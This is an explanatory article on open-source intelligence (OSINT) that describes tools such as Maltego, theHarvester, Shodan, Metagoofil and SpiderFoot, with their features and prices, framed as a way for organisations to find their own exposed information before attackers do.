Hackers use open source intelligence to compromise systems. You can use OSINT tools to find out which of your information is exposed. Open-source intelligence tools find freely available information. Criminal hackers can use this for their own purposes – unless you beat them to it. In this list, we gather some of the best OSINT tools that you can use to verify your privacy and secure your assets in a better manner.
In the 1980s, a paradigm shift took place in military and intelligence services. Classic activities such as intercepting letters and listening to telephone conversations were replaced by a new trend of spying on secrets: agents focused on using freely available or officially published information for their own purposes. It was a different world that had to do without social media. Instead, newspapers and publicly available databases were the main sources of interesting and/or useful information.
OSINT – Definition
This sounds simple, but in practice, it required a high degree of combinatorial ability to reliably link relevant information and create a picture of the situation. This type of espionage was called Open Source Intelligence (OSINT).
Today, OSINT tactics can also be applied to the field of cybersecurity. This is because most companies and organisations have an extensive, largely publicly accessible infrastructure that includes various networks, technologies, hosting services and namespaces. Information or data can be located on various devices – employees’ computers, on-premises servers, employees’ private devices (in the sense of “bring your own device”), cloud instances or even the source code of active applications.
In fact, in practice, the IT department in large companies hardly ever knows about all the assets in the company – whether publicly accessible or not. This is compounded by the fact that most companies also manage various additional assets indirectly – such as their social media accounts. Especially in this area, information is often held that could become dangerous if it falls into the wrong hands.
This is where the current generation of open-source intelligence tools comes in. OSINT tools essentially perform three functions:
Locate publicly available assets: the most common function of OSINT tools is to help IT teams identify publicly available assets and the information they contain. This is particularly about, which could potentially help unlock attack vectors. However, this does not mean vulnerability identification or penetration testing – it is solely about the information that is accessible without the use of hacking methods.
Finding relevant information outside the organisation: Another function of open source intelligence tools lies in finding information that is outside of one’s own organisation – for example, on social media platforms or domains. This feature is likely to be of particular interest to large companies that are integrating new IT assets as part of corporate acquisitions. Given the extreme growth of social media platforms, checking for sensitive information outside the organisation’s boundaries makes sense for any organisation.
Compile identified information in a usable way: Some OSINT tools are able to compile information collected and in an actionable form. An OSINT scan can throw up hundreds of thousands of results in the case of a large company – especially if both internal and external sources are included. Structuring the data and addressing the most pressing issues first is not only helpful in such cases.
List of best Open source intelligence tools [OSINT tools]
By bringing to light information about your business, employees, IT assets or other sensitive ones that could be exploited by malicious attackers, appropriate open-source intelligence tools can help raise your IT security level: By finding such information before attackers do, you can significantly reduce the risk of malicious activity – from phishing to denial-of-service attacks. Below, we highlight some of the best open-source intelligence tools and their individual strengths.
This OSINT tool is designed to reveal networks of relationships between people, companies, domains and publicly accessible information on the World Wide Web. Maltego visualises the results in the form of appealing graphics and diagrams, into which up to 10,000 data points can flow. Maltego automatically searches various public data sources at the touch of a button. These include DNS queries, search engines and social networks. The tool is compatible with almost any data source that has a publicly accessible interface.
Once the information collection is complete, the OSINT tool links the data and provides information about the hidden relations between names, e-mail addresses, companies, websites and other information. Because Maltego is Java-based, it runs reliably on Windows, Mac and Linux platforms.
A free version with limited functionalities is available with Maltego CE. The desktop versions of Maltego XL cost at least $1,999 per instance. Prices for server installations and widespread use start at around $40,000.
For software developers working with Python, Recon-ng is a multi-layered OSINT tool. The interface is similar to Metasploit, which significantly lowers the learning curve for experienced users of the popular framework. Thanks to an interactive help function (which is lacking in many Python modules), developers can get to work virtually straight away.
In the case of Recon-ng, this includes the automated processing of time-intensive and repetitive OSINT tasks (such as copy-and-paste marathons). This creates more time for the things that have to be done manually. To ensure that even Python beginners can cope with Recon-ng, the OSINT tool has a modular framework with numerous integrated functionalities. These include common tasks such as standardising output, interacting with databases, triggering web requests or API key management. Instead of programming Recon-ng in a complex way, developers simply select the functions they need and put together an automated module in just a few minutes.
Recon-ng is free, open-source software.
The sources the OSINT tool uses include popular search engines such as Google and Bing, as well as lesser known ones such as dogpile, DNSDumpster and the Exalead metadata engine. Even Shodan can be included to detect open ports on discovered hosts. More generally, theHarvester captures emails, names, subdomains, IPs and URLs.
TheHarvester can access most publicly available sources without any special measures. However, a few sources may require an API key – and Python must be at least version 3.6.
TheHarvester is freely available on GitHub.
Shodan is a dedicated search engine that provides information about devices – for example, the millions of IoT devices already in use. The OSINT tool can also be used to find open ports or vulnerabilities on specific systems. Some other open source intelligence tools use Shodan as a data source – but deep interaction requires a paid account.
Shodan’s potential uses are quite impressive: it is one of the few tools that include operational technology (OT) in its analyses, such as that used in industrial control systems of power plants or factories. So any OSINT initiative in an industry where IT and OT go hand in hand would have significant gaps if it was not based on Shodan. Furthermore, it is also possible to examine databases with the OSINT tool: Under certain circumstances, information can be accessed publicly via detours.
A freelancer licence ($59 per month) for Shodan allows the scanning of up to 1520 IP addresses per month – with up to one million results. The corporate licence promises unlimited results and allows scanning of 300,000 IP addresses per month – for $899 per month, but then including vulnerability search filters and premium support.
Metagoofil is also freely available via the GitHub platform. This tool is designed to extract metadata from public documents. When it comes to the type of document, the OSINT toolsets no limits, regardless of whether it is a.pdf,.doc,.ppt or.xls file.
The amount of interesting data that Metagoofil throws up is impressive. Either the user names linked to certain documents can be determined in no time at all. The OSINT tool also provides information about the exact path that leads to the information. This in turn makes it easy to draw conclusions about server names, shared resources and directory structures of the company concerned.
Just about all the information Metagoofil provides would be useful to a criminal hacker. Organisations and companies, on the other hand, can use the open source intelligence tool to track down precisely this information before potential malefactors and secure or conceal it accordingly.
If you really want to dive deep into the OSINT matter, searchcode is a highly specialised search engine that scours source code for interesting data. Software developers can thus uncover and fix problems before the software in question is rolled out.
Of course, any tool that works with source code requires a little more know-how than a simple Google search – but the creator of searchcode has done everything he can to make the interface of his OSINT tool as simple as possible. The user enters his search query and searchcode delivers the results in the form of corresponding markers within the source code. In this way, user names, security vulnerabilities, unwanted active functions (such as re-compile) or even special characters that can be used for code injection attacks can be identified.
The results of Searchcode are self-explanatory – nevertheless, the OSINT tool also provides further information or relevant problems related to the results.
SpiderFoot is a kind of Metasploit in the field of open source intelligence: you apply the tool to an IP address, domain, e-mail address, user name, subnet or ASN, specify the modules to be used and receive a wealth of information.
SpiderFoot integrates almost all available OSINT data feeds (for example, AlienVault, HaveIBeenPwned, SecurityTrails and Shodan). Therefore, the tool is particularly suitable for monitoring publicly available information of one’s own company – but also of the competition. In addition, SpiderFoot also provides data visualisation tools.
SpiderFoot is available as a freemium tool free of charge (with limited functionality) – the unlimited SaaS version is called SpiderFoot HX.
8. Babel X
Relevant information doesn’t necessarily have to be in English or German – the information you need could also be in Chinese or Spanish. This is where Babel X comes in: The multilingual OSINT tool searches the public web including blogs, social media platforms and message boards as well as the dark and deep web. The tool can also localise the source of the information found and perform text analyses to bring relevant results to light. Babel X currently supports around 200 different languages.
The application scenarios for a multilingual OSINT tool are numerous: If there are global ransomware attacks, for example, trends in target detection could be quickly determined. Babel X could also provide information on whether a company’s intellectual property is being offered for sale on foreign websites.
Babel X is essentially cloud-based and also allows its users to add their own data sources. With Babel Box, an on-premises version is also available, but it lacks some features (such as deepweb search). The most cost-effective version is Babel Channels – which provides a curated selection of data sources. A mobile app is available for all versions.
This tool is available as a Chrome extension or Firefox add-on and provides a browser-based search for IP addresses, domains, URLs, hashes, ASNs, Bitcoin wallet addresses and numerous other “Indicators of Compromise”. Six different search engines are included in the process.
Conveniently, Mitaka also serves as a shortcut to numerous online databases that can be searched with one click. For those who prefer something less comprehensive, the alternative extension Sputnik is available.
The “most complete internet assets registry”, according to the manufacturer, is aimed at cybersecurity professionals.
Spyse collects publicly available data from websites, their owners, associated servers and IoT devices. This data can be analysed with the Spyse engine to identify security risks associated with any of the entities.
If you only want to see information about the tech stack behind a website, you may be better off with Wappalyzer, as it is a slimmer OSINT tool.
12. Intelligence X
Intelligence X is an archive service and search engine that preserves for eternity not only historical versions of websites but also leaked data sets.
Not only for journalists, security researchers and analysts this information can be useful or helpful in many ways.
For darkweb newcomers, the platform DarkSearch.io is a good place to start. The underground search engine is free and offers an API for automated searches that is also free. You don’t even need the Tor browser to use DarkSearch.io – the search engine works across all regular browsers.
How do you search half a million Git repositories? The best and most efficient way is with Grep.app. The OSINT tool was recently used by Twitter users and journalists to track how many repositories used the Codecov Bash uploader.
Grep.app can also be useful if you want to search for strings related to IOCs, malicious code or malware.
15. OSINT Framework
Besides these tools, there are a lot of others available to get OSINT data. A good place to start exploring these is the OSINT Framework.
The web-based interface takes you to the tools you need to get the information you need. All of the tools found here are free – though some require registration or offer better features in the paid version.
Close gaps with OSINT!
Not every hacker attack has to be an Advanced Persistent Threat or use particularly sophisticated methods. Criminal hackers also prefer to take the path of least resistance. After all, it would make no sense to waste months compromising systems when all the necessary information is available in publicly accessible channels.
OSINT tools can help companies find out what information is publicly available about their networks, data and users. The key is to find this data as quickly as possible before it can be exploited.